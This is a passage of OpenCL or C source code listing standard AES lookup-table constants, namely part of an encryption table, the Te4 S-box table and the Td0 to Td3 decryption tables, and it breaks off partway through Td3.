0x4040c080U, 0x8f8f8a05U, 240 | 0x9292ad3fU, 0x9d9dbc21U, 0x38384870U, 0xf5f504f1U, 241 | 0xbcbcdf63U, 0xb6b6c177U, 0xdada75afU, 0x21216342U, 242 | 0x10103020U, 0xffff1ae5U, 0xf3f30efdU, 0xd2d26dbfU, 243 | 0xcdcd4c81U, 0x0c0c1418U, 0x13133526U, 0xecec2fc3U, 244 | 0x5f5fe1beU, 0x9797a235U, 0x4444cc88U, 0x1717392eU, 245 | 0xc4c45793U, 0xa7a7f255U, 0x7e7e82fcU, 0x3d3d477aU, 246 | 0x6464acc8U, 0x5d5de7baU, 0x19192b32U, 0x737395e6U, 247 | 0x6060a0c0U, 0x81819819U, 0x4f4fd19eU, 0xdcdc7fa3U, 248 | 0x22226644U, 0x2a2a7e54U, 0x9090ab3bU, 0x8888830bU, 249 | 0x4646ca8cU, 0xeeee29c7U, 0xb8b8d36bU, 0x14143c28U, 250 | 0xdede79a7U, 0x5e5ee2bcU, 0x0b0b1d16U, 0xdbdb76adU, 251 | 0xe0e03bdbU, 0x32325664U, 0x3a3a4e74U, 0x0a0a1e14U, 252 | 0x4949db92U, 0x06060a0cU, 0x24246c48U, 0x5c5ce4b8U, 253 | 0xc2c25d9fU, 0xd3d36ebdU, 0xacacef43U, 0x6262a6c4U, 254 | 0x9191a839U, 0x9595a431U, 0xe4e437d3U, 0x79798bf2U, 255 | 0xe7e732d5U, 0xc8c8438bU, 0x3737596eU, 0x6d6db7daU, 256 | 0x8d8d8c01U, 0xd5d564b1U, 0x4e4ed29cU, 0xa9a9e049U, 257 | 0x6c6cb4d8U, 0x5656faacU, 0xf4f407f3U, 0xeaea25cfU, 258 | 0x6565afcaU, 0x7a7a8ef4U, 0xaeaee947U, 0x08081810U, 259 | 0xbabad56fU, 0x787888f0U, 0x25256f4aU, 0x2e2e725cU, 260 | 0x1c1c2438U, 0xa6a6f157U, 0xb4b4c773U, 0xc6c65197U, 261 | 0xe8e823cbU, 0xdddd7ca1U, 0x74749ce8U, 0x1f1f213eU, 262 | 0x4b4bdd96U, 0xbdbddc61U, 0x8b8b860dU, 0x8a8a850fU, 263 | 0x707090e0U, 0x3e3e427cU, 0xb5b5c471U, 0x6666aaccU, 264 | 0x4848d890U, 0x03030506U, 0xf6f601f7U, 0x0e0e121cU, 265 | 0x6161a3c2U, 0x35355f6aU, 0x5757f9aeU, 0xb9b9d069U, 266 | 0x86869117U, 0xc1c15899U, 0x1d1d273aU, 0x9e9eb927U, 267 | 0xe1e138d9U, 0xf8f813ebU, 0x9898b32bU, 0x11113322U, 268 | 0x6969bbd2U, 0xd9d970a9U, 0x8e8e8907U, 0x9494a733U, 269 | 0x9b9bb62dU, 0x1e1e223cU, 0x87879215U, 0xe9e920c9U, 270 | 0xcece4987U, 0x5555ffaaU, 0x28287850U, 0xdfdf7aa5U, 271 | 0x8c8c8f03U, 0xa1a1f859U, 0x89898009U, 0x0d0d171aU, 272 | 0xbfbfda65U, 0xe6e631d7U, 0x4242c684U, 0x6868b8d0U, 273 | 0x4141c382U, 0x9999b029U, 0x2d2d775aU, 0x0f0f111eU, 274 | 0xb0b0cb7bU, 0x5454fca8U, 0xbbbbd66dU, 0x16163a2cU, 275 | }; 276 | __constant u32 Te4[256] = { 277 | 0x63636363U, 0x7c7c7c7cU, 0x77777777U, 0x7b7b7b7bU, 278 | 0xf2f2f2f2U, 0x6b6b6b6bU, 0x6f6f6f6fU, 0xc5c5c5c5U, 279 | 0x30303030U, 0x01010101U, 0x67676767U, 0x2b2b2b2bU, 280 | 0xfefefefeU, 0xd7d7d7d7U, 0xababababU, 0x76767676U, 281 | 0xcacacacaU, 0x82828282U, 0xc9c9c9c9U, 0x7d7d7d7dU, 282 | 0xfafafafaU, 0x59595959U, 0x47474747U, 0xf0f0f0f0U, 283 | 0xadadadadU, 0xd4d4d4d4U, 0xa2a2a2a2U, 0xafafafafU, 284 | 0x9c9c9c9cU, 0xa4a4a4a4U, 0x72727272U, 0xc0c0c0c0U, 285 | 0xb7b7b7b7U, 0xfdfdfdfdU, 0x93939393U, 0x26262626U, 286 | 0x36363636U, 0x3f3f3f3fU, 0xf7f7f7f7U, 0xccccccccU, 287 | 0x34343434U, 0xa5a5a5a5U, 0xe5e5e5e5U, 0xf1f1f1f1U, 288 | 0x71717171U, 0xd8d8d8d8U, 0x31313131U, 0x15151515U, 289 | 0x04040404U, 0xc7c7c7c7U, 0x23232323U, 0xc3c3c3c3U, 290 | 0x18181818U, 0x96969696U, 0x05050505U, 0x9a9a9a9aU, 291 | 0x07070707U, 0x12121212U, 0x80808080U, 0xe2e2e2e2U, 292 | 0xebebebebU, 0x27272727U, 0xb2b2b2b2U, 0x75757575U, 293 | 0x09090909U, 0x83838383U, 0x2c2c2c2cU, 0x1a1a1a1aU, 294 | 0x1b1b1b1bU, 0x6e6e6e6eU, 0x5a5a5a5aU, 0xa0a0a0a0U, 295 | 0x52525252U, 0x3b3b3b3bU, 0xd6d6d6d6U, 0xb3b3b3b3U, 296 | 0x29292929U, 0xe3e3e3e3U, 0x2f2f2f2fU, 0x84848484U, 297 | 0x53535353U, 0xd1d1d1d1U, 0x00000000U, 0xededededU, 298 | 0x20202020U, 0xfcfcfcfcU, 0xb1b1b1b1U, 0x5b5b5b5bU, 299 | 0x6a6a6a6aU, 0xcbcbcbcbU, 0xbebebebeU, 0x39393939U, 300 | 0x4a4a4a4aU, 0x4c4c4c4cU, 0x58585858U, 0xcfcfcfcfU, 301 | 0xd0d0d0d0U, 0xefefefefU, 0xaaaaaaaaU, 0xfbfbfbfbU, 302 | 0x43434343U, 0x4d4d4d4dU, 0x33333333U, 0x85858585U, 303 | 0x45454545U, 0xf9f9f9f9U, 0x02020202U, 0x7f7f7f7fU, 304 | 0x50505050U, 0x3c3c3c3cU, 0x9f9f9f9fU, 0xa8a8a8a8U, 305 | 0x51515151U, 0xa3a3a3a3U, 0x40404040U, 0x8f8f8f8fU, 306 | 0x92929292U, 0x9d9d9d9dU, 0x38383838U, 0xf5f5f5f5U, 307 | 0xbcbcbcbcU, 0xb6b6b6b6U, 0xdadadadaU, 0x21212121U, 308 | 0x10101010U, 0xffffffffU, 0xf3f3f3f3U, 0xd2d2d2d2U, 309 | 0xcdcdcdcdU, 0x0c0c0c0cU, 0x13131313U, 0xececececU, 310 | 0x5f5f5f5fU, 0x97979797U, 0x44444444U, 0x17171717U, 311 | 0xc4c4c4c4U, 0xa7a7a7a7U, 0x7e7e7e7eU, 0x3d3d3d3dU, 312 | 0x64646464U, 0x5d5d5d5dU, 0x19191919U, 0x73737373U, 313 | 0x60606060U, 0x81818181U, 0x4f4f4f4fU, 0xdcdcdcdcU, 314 | 0x22222222U, 0x2a2a2a2aU, 0x90909090U, 0x88888888U, 315 | 0x46464646U, 0xeeeeeeeeU, 0xb8b8b8b8U, 0x14141414U, 316 | 0xdedededeU, 0x5e5e5e5eU, 0x0b0b0b0bU, 0xdbdbdbdbU, 317 | 0xe0e0e0e0U, 0x32323232U, 0x3a3a3a3aU, 0x0a0a0a0aU, 318 | 0x49494949U, 0x06060606U, 0x24242424U, 0x5c5c5c5cU, 319 | 0xc2c2c2c2U, 0xd3d3d3d3U, 0xacacacacU, 0x62626262U, 320 | 0x91919191U, 0x95959595U, 0xe4e4e4e4U, 0x79797979U, 321 | 0xe7e7e7e7U, 0xc8c8c8c8U, 0x37373737U, 0x6d6d6d6dU, 322 | 0x8d8d8d8dU, 0xd5d5d5d5U, 0x4e4e4e4eU, 0xa9a9a9a9U, 323 | 0x6c6c6c6cU, 0x56565656U, 0xf4f4f4f4U, 0xeaeaeaeaU, 324 | 0x65656565U, 0x7a7a7a7aU, 0xaeaeaeaeU, 0x08080808U, 325 | 0xbabababaU, 0x78787878U, 0x25252525U, 0x2e2e2e2eU, 326 | 0x1c1c1c1cU, 0xa6a6a6a6U, 0xb4b4b4b4U, 0xc6c6c6c6U, 327 | 0xe8e8e8e8U, 0xddddddddU, 0x74747474U, 0x1f1f1f1fU, 328 | 0x4b4b4b4bU, 0xbdbdbdbdU, 0x8b8b8b8bU, 0x8a8a8a8aU, 329 | 0x70707070U, 0x3e3e3e3eU, 0xb5b5b5b5U, 0x66666666U, 330 | 0x48484848U, 0x03030303U, 0xf6f6f6f6U, 0x0e0e0e0eU, 331 | 0x61616161U, 0x35353535U, 0x57575757U, 0xb9b9b9b9U, 332 | 0x86868686U, 0xc1c1c1c1U, 0x1d1d1d1dU, 0x9e9e9e9eU, 333 | 0xe1e1e1e1U, 0xf8f8f8f8U, 0x98989898U, 0x11111111U, 334 | 0x69696969U, 0xd9d9d9d9U, 0x8e8e8e8eU, 0x94949494U, 335 | 0x9b9b9b9bU, 0x1e1e1e1eU, 0x87878787U, 0xe9e9e9e9U, 336 | 0xcecececeU, 0x55555555U, 0x28282828U, 0xdfdfdfdfU, 337 | 0x8c8c8c8cU, 0xa1a1a1a1U, 0x89898989U, 0x0d0d0d0dU, 338 | 0xbfbfbfbfU, 0xe6e6e6e6U, 0x42424242U, 0x68686868U, 339 | 0x41414141U, 0x99999999U, 0x2d2d2d2dU, 0x0f0f0f0fU, 340 | 0xb0b0b0b0U, 0x54545454U, 0xbbbbbbbbU, 0x16161616U, 341 | }; 342 | 343 | __constant u32 Td0[256] = { 344 | 0x51f4a750U, 0x7e416553U, 0x1a17a4c3U, 0x3a275e96U, 345 | 0x3bab6bcbU, 0x1f9d45f1U, 0xacfa58abU, 0x4be30393U, 346 | 0x2030fa55U, 0xad766df6U, 0x88cc7691U, 0xf5024c25U, 347 | 0x4fe5d7fcU, 0xc52acbd7U, 0x26354480U, 0xb562a38fU, 348 | 0xdeb15a49U, 0x25ba1b67U, 0x45ea0e98U, 0x5dfec0e1U, 349 | 0xc32f7502U, 0x814cf012U, 0x8d4697a3U, 0x6bd3f9c6U, 350 | 0x038f5fe7U, 0x15929c95U, 0xbf6d7aebU, 0x955259daU, 351 | 0xd4be832dU, 0x587421d3U, 0x49e06929U, 0x8ec9c844U, 352 | 0x75c2896aU, 0xf48e7978U, 0x99583e6bU, 0x27b971ddU, 353 | 0xbee14fb6U, 0xf088ad17U, 0xc920ac66U, 0x7dce3ab4U, 354 | 0x63df4a18U, 0xe51a3182U, 0x97513360U, 0x62537f45U, 355 | 0xb16477e0U, 0xbb6bae84U, 0xfe81a01cU, 0xf9082b94U, 356 | 0x70486858U, 0x8f45fd19U, 0x94de6c87U, 0x527bf8b7U, 357 | 0xab73d323U, 0x724b02e2U, 0xe31f8f57U, 0x6655ab2aU, 358 | 0xb2eb2807U, 0x2fb5c203U, 0x86c57b9aU, 0xd33708a5U, 359 | 0x302887f2U, 0x23bfa5b2U, 0x02036abaU, 0xed16825cU, 360 | 0x8acf1c2bU, 0xa779b492U, 0xf307f2f0U, 0x4e69e2a1U, 361 | 0x65daf4cdU, 0x0605bed5U, 0xd134621fU, 0xc4a6fe8aU, 362 | 0x342e539dU, 0xa2f355a0U, 0x058ae132U, 0xa4f6eb75U, 363 | 0x0b83ec39U, 0x4060efaaU, 0x5e719f06U, 0xbd6e1051U, 364 | 0x3e218af9U, 0x96dd063dU, 0xdd3e05aeU, 0x4de6bd46U, 365 | 0x91548db5U, 0x71c45d05U, 0x0406d46fU, 0x605015ffU, 366 | 0x1998fb24U, 0xd6bde997U, 0x894043ccU, 0x67d99e77U, 367 | 0xb0e842bdU, 0x07898b88U, 0xe7195b38U, 0x79c8eedbU, 368 | 0xa17c0a47U, 0x7c420fe9U, 0xf8841ec9U, 0x00000000U, 369 | 0x09808683U, 0x322bed48U, 0x1e1170acU, 0x6c5a724eU, 370 | 0xfd0efffbU, 0x0f853856U, 0x3daed51eU, 0x362d3927U, 371 | 0x0a0fd964U, 0x685ca621U, 0x9b5b54d1U, 0x24362e3aU, 372 | 0x0c0a67b1U, 0x9357e70fU, 0xb4ee96d2U, 0x1b9b919eU, 373 | 0x80c0c54fU, 0x61dc20a2U, 0x5a774b69U, 0x1c121a16U, 374 | 0xe293ba0aU, 0xc0a02ae5U, 0x3c22e043U, 0x121b171dU, 375 | 0x0e090d0bU, 0xf28bc7adU, 0x2db6a8b9U, 0x141ea9c8U, 376 | 0x57f11985U, 0xaf75074cU, 0xee99ddbbU, 0xa37f60fdU, 377 | 0xf701269fU, 0x5c72f5bcU, 0x44663bc5U, 0x5bfb7e34U, 378 | 0x8b432976U, 0xcb23c6dcU, 0xb6edfc68U, 0xb8e4f163U, 379 | 0xd731dccaU, 0x42638510U, 0x13972240U, 0x84c61120U, 380 | 0x854a247dU, 0xd2bb3df8U, 0xaef93211U, 0xc729a16dU, 381 | 0x1d9e2f4bU, 0xdcb230f3U, 0x0d8652ecU, 0x77c1e3d0U, 382 | 0x2bb3166cU, 0xa970b999U, 0x119448faU, 0x47e96422U, 383 | 0xa8fc8cc4U, 0xa0f03f1aU, 0x567d2cd8U, 0x223390efU, 384 | 0x87494ec7U, 0xd938d1c1U, 0x8ccaa2feU, 0x98d40b36U, 385 | 0xa6f581cfU, 0xa57ade28U, 0xdab78e26U, 0x3fadbfa4U, 386 | 0x2c3a9de4U, 0x5078920dU, 0x6a5fcc9bU, 0x547e4662U, 387 | 0xf68d13c2U, 0x90d8b8e8U, 0x2e39f75eU, 0x82c3aff5U, 388 | 0x9f5d80beU, 0x69d0937cU, 0x6fd52da9U, 0xcf2512b3U, 389 | 0xc8ac993bU, 0x10187da7U, 0xe89c636eU, 0xdb3bbb7bU, 390 | 0xcd267809U, 0x6e5918f4U, 0xec9ab701U, 0x834f9aa8U, 391 | 0xe6956e65U, 0xaaffe67eU, 0x21bccf08U, 0xef15e8e6U, 392 | 0xbae79bd9U, 0x4a6f36ceU, 0xea9f09d4U, 0x29b07cd6U, 393 | 0x31a4b2afU, 0x2a3f2331U, 0xc6a59430U, 0x35a266c0U, 394 | 0x744ebc37U, 0xfc82caa6U, 0xe090d0b0U, 0x33a7d815U, 395 | 0xf104984aU, 0x41ecdaf7U, 0x7fcd500eU, 0x1791f62fU, 396 | 0x764dd68dU, 0x43efb04dU, 0xccaa4d54U, 0xe49604dfU, 397 | 0x9ed1b5e3U, 0x4c6a881bU, 0xc12c1fb8U, 0x4665517fU, 398 | 0x9d5eea04U, 0x018c355dU, 0xfa877473U, 0xfb0b412eU, 399 | 0xb3671d5aU, 0x92dbd252U, 0xe9105633U, 0x6dd64713U, 400 | 0x9ad7618cU, 0x37a10c7aU, 0x59f8148eU, 0xeb133c89U, 401 | 0xcea927eeU, 0xb761c935U, 0xe11ce5edU, 0x7a47b13cU, 402 | 0x9cd2df59U, 0x55f2733fU, 0x1814ce79U, 0x73c737bfU, 403 | 0x53f7cdeaU, 0x5ffdaa5bU, 0xdf3d6f14U, 0x7844db86U, 404 | 0xcaaff381U, 0xb968c43eU, 0x3824342cU, 0xc2a3405fU, 405 | 0x161dc372U, 0xbce2250cU, 0x283c498bU, 0xff0d9541U, 406 | 0x39a80171U, 0x080cb3deU, 0xd8b4e49cU, 0x6456c190U, 407 | 0x7bcb8461U, 0xd532b670U, 0x486c5c74U, 0xd0b85742U, 408 | }; 409 | __constant u32 Td1[256] = { 410 | 0x5051f4a7U, 0x537e4165U, 0xc31a17a4U, 0x963a275eU, 411 | 0xcb3bab6bU, 0xf11f9d45U, 0xabacfa58U, 0x934be303U, 412 | 0x552030faU, 0xf6ad766dU, 0x9188cc76U, 0x25f5024cU, 413 | 0xfc4fe5d7U, 0xd7c52acbU, 0x80263544U, 0x8fb562a3U, 414 | 0x49deb15aU, 0x6725ba1bU, 0x9845ea0eU, 0xe15dfec0U, 415 | 0x02c32f75U, 0x12814cf0U, 0xa38d4697U, 0xc66bd3f9U, 416 | 0xe7038f5fU, 0x9515929cU, 0xebbf6d7aU, 0xda955259U, 417 | 0x2dd4be83U, 0xd3587421U, 0x2949e069U, 0x448ec9c8U, 418 | 0x6a75c289U, 0x78f48e79U, 0x6b99583eU, 0xdd27b971U, 419 | 0xb6bee14fU, 0x17f088adU, 0x66c920acU, 0xb47dce3aU, 420 | 0x1863df4aU, 0x82e51a31U, 0x60975133U, 0x4562537fU, 421 | 0xe0b16477U, 0x84bb6baeU, 0x1cfe81a0U, 0x94f9082bU, 422 | 0x58704868U, 0x198f45fdU, 0x8794de6cU, 0xb7527bf8U, 423 | 0x23ab73d3U, 0xe2724b02U, 0x57e31f8fU, 0x2a6655abU, 424 | 0x07b2eb28U, 0x032fb5c2U, 0x9a86c57bU, 0xa5d33708U, 425 | 0xf2302887U, 0xb223bfa5U, 0xba02036aU, 0x5ced1682U, 426 | 0x2b8acf1cU, 0x92a779b4U, 0xf0f307f2U, 0xa14e69e2U, 427 | 0xcd65daf4U, 0xd50605beU, 0x1fd13462U, 0x8ac4a6feU, 428 | 0x9d342e53U, 0xa0a2f355U, 0x32058ae1U, 0x75a4f6ebU, 429 | 0x390b83ecU, 0xaa4060efU, 0x065e719fU, 0x51bd6e10U, 430 | 0xf93e218aU, 0x3d96dd06U, 0xaedd3e05U, 0x464de6bdU, 431 | 0xb591548dU, 0x0571c45dU, 0x6f0406d4U, 0xff605015U, 432 | 0x241998fbU, 0x97d6bde9U, 0xcc894043U, 0x7767d99eU, 433 | 0xbdb0e842U, 0x8807898bU, 0x38e7195bU, 0xdb79c8eeU, 434 | 0x47a17c0aU, 0xe97c420fU, 0xc9f8841eU, 0x00000000U, 435 | 0x83098086U, 0x48322bedU, 0xac1e1170U, 0x4e6c5a72U, 436 | 0xfbfd0effU, 0x560f8538U, 0x1e3daed5U, 0x27362d39U, 437 | 0x640a0fd9U, 0x21685ca6U, 0xd19b5b54U, 0x3a24362eU, 438 | 0xb10c0a67U, 0x0f9357e7U, 0xd2b4ee96U, 0x9e1b9b91U, 439 | 0x4f80c0c5U, 0xa261dc20U, 0x695a774bU, 0x161c121aU, 440 | 0x0ae293baU, 0xe5c0a02aU, 0x433c22e0U, 0x1d121b17U, 441 | 0x0b0e090dU, 0xadf28bc7U, 0xb92db6a8U, 0xc8141ea9U, 442 | 0x8557f119U, 0x4caf7507U, 0xbbee99ddU, 0xfda37f60U, 443 | 0x9ff70126U, 0xbc5c72f5U, 0xc544663bU, 0x345bfb7eU, 444 | 0x768b4329U, 0xdccb23c6U, 0x68b6edfcU, 0x63b8e4f1U, 445 | 0xcad731dcU, 0x10426385U, 0x40139722U, 0x2084c611U, 446 | 0x7d854a24U, 0xf8d2bb3dU, 0x11aef932U, 0x6dc729a1U, 447 | 0x4b1d9e2fU, 0xf3dcb230U, 0xec0d8652U, 0xd077c1e3U, 448 | 0x6c2bb316U, 0x99a970b9U, 0xfa119448U, 0x2247e964U, 449 | 0xc4a8fc8cU, 0x1aa0f03fU, 0xd8567d2cU, 0xef223390U, 450 | 0xc787494eU, 0xc1d938d1U, 0xfe8ccaa2U, 0x3698d40bU, 451 | 0xcfa6f581U, 0x28a57adeU, 0x26dab78eU, 0xa43fadbfU, 452 | 0xe42c3a9dU, 0x0d507892U, 0x9b6a5fccU, 0x62547e46U, 453 | 0xc2f68d13U, 0xe890d8b8U, 0x5e2e39f7U, 0xf582c3afU, 454 | 0xbe9f5d80U, 0x7c69d093U, 0xa96fd52dU, 0xb3cf2512U, 455 | 0x3bc8ac99U, 0xa710187dU, 0x6ee89c63U, 0x7bdb3bbbU, 456 | 0x09cd2678U, 0xf46e5918U, 0x01ec9ab7U, 0xa8834f9aU, 457 | 0x65e6956eU, 0x7eaaffe6U, 0x0821bccfU, 0xe6ef15e8U, 458 | 0xd9bae79bU, 0xce4a6f36U, 0xd4ea9f09U, 0xd629b07cU, 459 | 0xaf31a4b2U, 0x312a3f23U, 0x30c6a594U, 0xc035a266U, 460 | 0x37744ebcU, 0xa6fc82caU, 0xb0e090d0U, 0x1533a7d8U, 461 | 0x4af10498U, 0xf741ecdaU, 0x0e7fcd50U, 0x2f1791f6U, 462 | 0x8d764dd6U, 0x4d43efb0U, 0x54ccaa4dU, 0xdfe49604U, 463 | 0xe39ed1b5U, 0x1b4c6a88U, 0xb8c12c1fU, 0x7f466551U, 464 | 0x049d5eeaU, 0x5d018c35U, 0x73fa8774U, 0x2efb0b41U, 465 | 0x5ab3671dU, 0x5292dbd2U, 0x33e91056U, 0x136dd647U, 466 | 0x8c9ad761U, 0x7a37a10cU, 0x8e59f814U, 0x89eb133cU, 467 | 0xeecea927U, 0x35b761c9U, 0xede11ce5U, 0x3c7a47b1U, 468 | 0x599cd2dfU, 0x3f55f273U, 0x791814ceU, 0xbf73c737U, 469 | 0xea53f7cdU, 0x5b5ffdaaU, 0x14df3d6fU, 0x867844dbU, 470 | 0x81caaff3U, 0x3eb968c4U, 0x2c382434U, 0x5fc2a340U, 471 | 0x72161dc3U, 0x0cbce225U, 0x8b283c49U, 0x41ff0d95U, 472 | 0x7139a801U, 0xde080cb3U, 0x9cd8b4e4U, 0x906456c1U, 473 | 0x617bcb84U, 0x70d532b6U, 0x74486c5cU, 0x42d0b857U, 474 | }; 475 | __constant u32 Td2[256] = { 476 | 0xa75051f4U, 0x65537e41U, 0xa4c31a17U, 0x5e963a27U, 477 | 0x6bcb3babU, 0x45f11f9dU, 0x58abacfaU, 0x03934be3U, 478 | 0xfa552030U, 0x6df6ad76U, 0x769188ccU, 0x4c25f502U, 479 | 0xd7fc4fe5U, 0xcbd7c52aU, 0x44802635U, 0xa38fb562U, 480 | 0x5a49deb1U, 0x1b6725baU, 0x0e9845eaU, 0xc0e15dfeU, 481 | 0x7502c32fU, 0xf012814cU, 0x97a38d46U, 0xf9c66bd3U, 482 | 0x5fe7038fU, 0x9c951592U, 0x7aebbf6dU, 0x59da9552U, 483 | 0x832dd4beU, 0x21d35874U, 0x692949e0U, 0xc8448ec9U, 484 | 0x896a75c2U, 0x7978f48eU, 0x3e6b9958U, 0x71dd27b9U, 485 | 0x4fb6bee1U, 0xad17f088U, 0xac66c920U, 0x3ab47dceU, 486 | 0x4a1863dfU, 0x3182e51aU, 0x33609751U, 0x7f456253U, 487 | 0x77e0b164U, 0xae84bb6bU, 0xa01cfe81U, 0x2b94f908U, 488 | 0x68587048U, 0xfd198f45U, 0x6c8794deU, 0xf8b7527bU, 489 | 0xd323ab73U, 0x02e2724bU, 0x8f57e31fU, 0xab2a6655U, 490 | 0x2807b2ebU, 0xc2032fb5U, 0x7b9a86c5U, 0x08a5d337U, 491 | 0x87f23028U, 0xa5b223bfU, 0x6aba0203U, 0x825ced16U, 492 | 0x1c2b8acfU, 0xb492a779U, 0xf2f0f307U, 0xe2a14e69U, 493 | 0xf4cd65daU, 0xbed50605U, 0x621fd134U, 0xfe8ac4a6U, 494 | 0x539d342eU, 0x55a0a2f3U, 0xe132058aU, 0xeb75a4f6U, 495 | 0xec390b83U, 0xefaa4060U, 0x9f065e71U, 0x1051bd6eU, 496 | 0x8af93e21U, 0x063d96ddU, 0x05aedd3eU, 0xbd464de6U, 497 | 0x8db59154U, 0x5d0571c4U, 0xd46f0406U, 0x15ff6050U, 498 | 0xfb241998U, 0xe997d6bdU, 0x43cc8940U, 0x9e7767d9U, 499 | 0x42bdb0e8U, 0x8b880789U, 0x5b38e719U, 0xeedb79c8U, 500 | 0x0a47a17cU, 0x0fe97c42U, 0x1ec9f884U, 0x00000000U, 501 | 0x86830980U, 0xed48322bU, 0x70ac1e11U, 0x724e6c5aU, 502 | 0xfffbfd0eU, 0x38560f85U, 0xd51e3daeU, 0x3927362dU, 503 | 0xd9640a0fU, 0xa621685cU, 0x54d19b5bU, 0x2e3a2436U, 504 | 0x67b10c0aU, 0xe70f9357U, 0x96d2b4eeU, 0x919e1b9bU, 505 | 0xc54f80c0U, 0x20a261dcU, 0x4b695a77U, 0x1a161c12U, 506 | 0xba0ae293U, 0x2ae5c0a0U, 0xe0433c22U, 0x171d121bU, 507 | 0x0d0b0e09U, 0xc7adf28bU, 0xa8b92db6U, 0xa9c8141eU, 508 | 0x198557f1U, 0x074caf75U, 0xddbbee99U, 0x60fda37fU, 509 | 0x269ff701U, 0xf5bc5c72U, 0x3bc54466U, 0x7e345bfbU, 510 | 0x29768b43U, 0xc6dccb23U, 0xfc68b6edU, 0xf163b8e4U, 511 | 0xdccad731U, 0x85104263U, 0x22401397U, 0x112084c6U, 512 | 0x247d854aU, 0x3df8d2bbU, 0x3211aef9U, 0xa16dc729U, 513 | 0x2f4b1d9eU, 0x30f3dcb2U, 0x52ec0d86U, 0xe3d077c1U, 514 | 0x166c2bb3U, 0xb999a970U, 0x48fa1194U, 0x642247e9U, 515 | 0x8cc4a8fcU, 0x3f1aa0f0U, 0x2cd8567dU, 0x90ef2233U, 516 | 0x4ec78749U, 0xd1c1d938U, 0xa2fe8ccaU, 0x0b3698d4U, 517 | 0x81cfa6f5U, 0xde28a57aU, 0x8e26dab7U, 0xbfa43fadU, 518 | 0x9de42c3aU, 0x920d5078U, 0xcc9b6a5fU, 0x4662547eU, 519 | 0x13c2f68dU, 0xb8e890d8U, 0xf75e2e39U, 0xaff582c3U, 520 | 0x80be9f5dU, 0x937c69d0U, 0x2da96fd5U, 0x12b3cf25U, 521 | 0x993bc8acU, 0x7da71018U, 0x636ee89cU, 0xbb7bdb3bU, 522 | 0x7809cd26U, 0x18f46e59U, 0xb701ec9aU, 0x9aa8834fU, 523 | 0x6e65e695U, 0xe67eaaffU, 0xcf0821bcU, 0xe8e6ef15U, 524 | 0x9bd9bae7U, 0x36ce4a6fU, 0x09d4ea9fU, 0x7cd629b0U, 525 | 0xb2af31a4U, 0x23312a3fU, 0x9430c6a5U, 0x66c035a2U, 526 | 0xbc37744eU, 0xcaa6fc82U, 0xd0b0e090U, 0xd81533a7U, 527 | 0x984af104U, 0xdaf741ecU, 0x500e7fcdU, 0xf62f1791U, 528 | 0xd68d764dU, 0xb04d43efU, 0x4d54ccaaU, 0x04dfe496U, 529 | 0xb5e39ed1U, 0x881b4c6aU, 0x1fb8c12cU, 0x517f4665U, 530 | 0xea049d5eU, 0x355d018cU, 0x7473fa87U, 0x412efb0bU, 531 | 0x1d5ab367U, 0xd25292dbU, 0x5633e910U, 0x47136dd6U, 532 | 0x618c9ad7U, 0x0c7a37a1U, 0x148e59f8U, 0x3c89eb13U, 533 | 0x27eecea9U, 0xc935b761U, 0xe5ede11cU, 0xb13c7a47U, 534 | 0xdf599cd2U, 0x733f55f2U, 0xce791814U, 0x37bf73c7U, 535 | 0xcdea53f7U, 0xaa5b5ffdU, 0x6f14df3dU, 0xdb867844U, 536 | 0xf381caafU, 0xc43eb968U, 0x342c3824U, 0x405fc2a3U, 537 | 0xc372161dU, 0x250cbce2U, 0x498b283cU, 0x9541ff0dU, 538 | 0x017139a8U, 0xb3de080cU, 0xe49cd8b4U, 0xc1906456U, 539 | 0x84617bcbU, 0xb670d532U, 0x5c74486cU, 0x5742d0b8U, 540 | }; 541 | __constant u32 Td3[256] = { 542 | 0xf4a75051U, 0x4165537eU, 0x17a4c31aU, 0x275e963aU, 543 | 0xab6bcb3bU, 0x9d45f11fU, 0xfa58abacU, 0xe303934bU, 544 | 0x30fa5520U, 0x766df6adU, 0xcc769188U, 0x024c25f5U, 545 | 0xe5d7fc4fU, 0x2acbd7c5U, 0x35448026U, 0x62a38fb5U, 546 | 0xb15a49deU, 0xba1b6725U, 0xea0e9845U, 0xfec0e15dU, 547 | 0x2f7502c3U, 0x4cf01281U, 0x4697a38dU, 0xd3f9c66bU, 548 | 0x8f5fe703U, 0x929c9515U, 0x6d7aebbfU, 0x5259da95U, 549 | 0xbe832dd4U, 0x7421d358U, 0xe0692949U, 0xc9c8448eU, 550 | 0xc2896a75U, 0x8e7978f4U, 0x583e6b99U, 0xb971dd27U, 551 | 0xe14fb6beU, 0x88ad17f0U, 0x20ac66c9U, 0xce3ab47dU, 552 | 0xdf4a1863U, 0x1a3182e5U, 0x51336097U, 0x537f4562U, 553 | 0x6477e0b1U, 0x6bae84bbU, 0x81a01cfeU, 0x082b94f9U, 554 | 0x48685870U, 0x45fd198fU, 0xde6c8794U, 0x7bf8b752U, 555 | 0x73d323abU, 0x4b02e272U, 0x1f8f57e3U, 0x55ab2a66U, 556 | 0xeb2807b2U, 0xb5c2032fU, 0xc57b9a86U, 0x3708a5d3U, 557 | 0x2887f230U, 0xbfa5b223U, 0x036aba02U, 0x16825cedU, 558 | 0xcf1c2b8aU, 0x79b492a7U, 0x07f2f0f3U, 0x69e2a14eU, 559 | 0xdaf4cd65U, 0x05bed506U, 0x34621fd1U, 0xa6fe8ac4U, 560 | 0x2e539d34U, 0xf355a0a2U, 0x8ae13205U, 0xf6eb75a4U, 561 | 0x83ec390bU, 0x60efaa40U, 0x719f065eU, 0x6e1051bdU, 562 | 0x218af93eU, 0xdd063d96U, 0x3e05aeddU, 0xe6bd464dU, 563 | 0x548db591U, 0xc45d0571U, 0x06d46f04U, 0x5015ff60U, 564 | 0x98fb2419U, 0xbde997d6U, 0x4043cc89U, 0xd99e7767U, 565 | 0xe842bdb0U, 0x898b8807U, 0x195b38e7U, 0xc8eedb79U, 566 | 0x7c0a47a1U, 0x420fe97cU, 0x841ec9f8U, 0x00000000U, 567 | 0x80868309U, 0x2bed4832U, 0x1170ac1eU, 0x5a724e6cU, 568 | 0x0efffbfdU, 0x8538560fU, 0xaed51e3dU, 0x2d392736U, 569 | 0x0fd9640aU, 0x5ca62168U, 0x5b54d19bU, 0x362e3a24U, 570 | 0x0a67b10cU, 0x57e70f93U, 0xee96d2b4U, 0x9b919e1bU, 571 | 0xc0c54f80U, 0xdc20a261U, 0x774b695aU, 0x121a161cU, 572 | 0x93ba0ae2U, 0xa02ae5c0U, 0x22e0433cU, 0x1b171d12U, 573 | 0x090d0b0eU, 0x8bc7adf2U, 0xb6a8b92dU, 0x1ea9c814U, 574 | 0xf1198557U, 0x75074cafU, 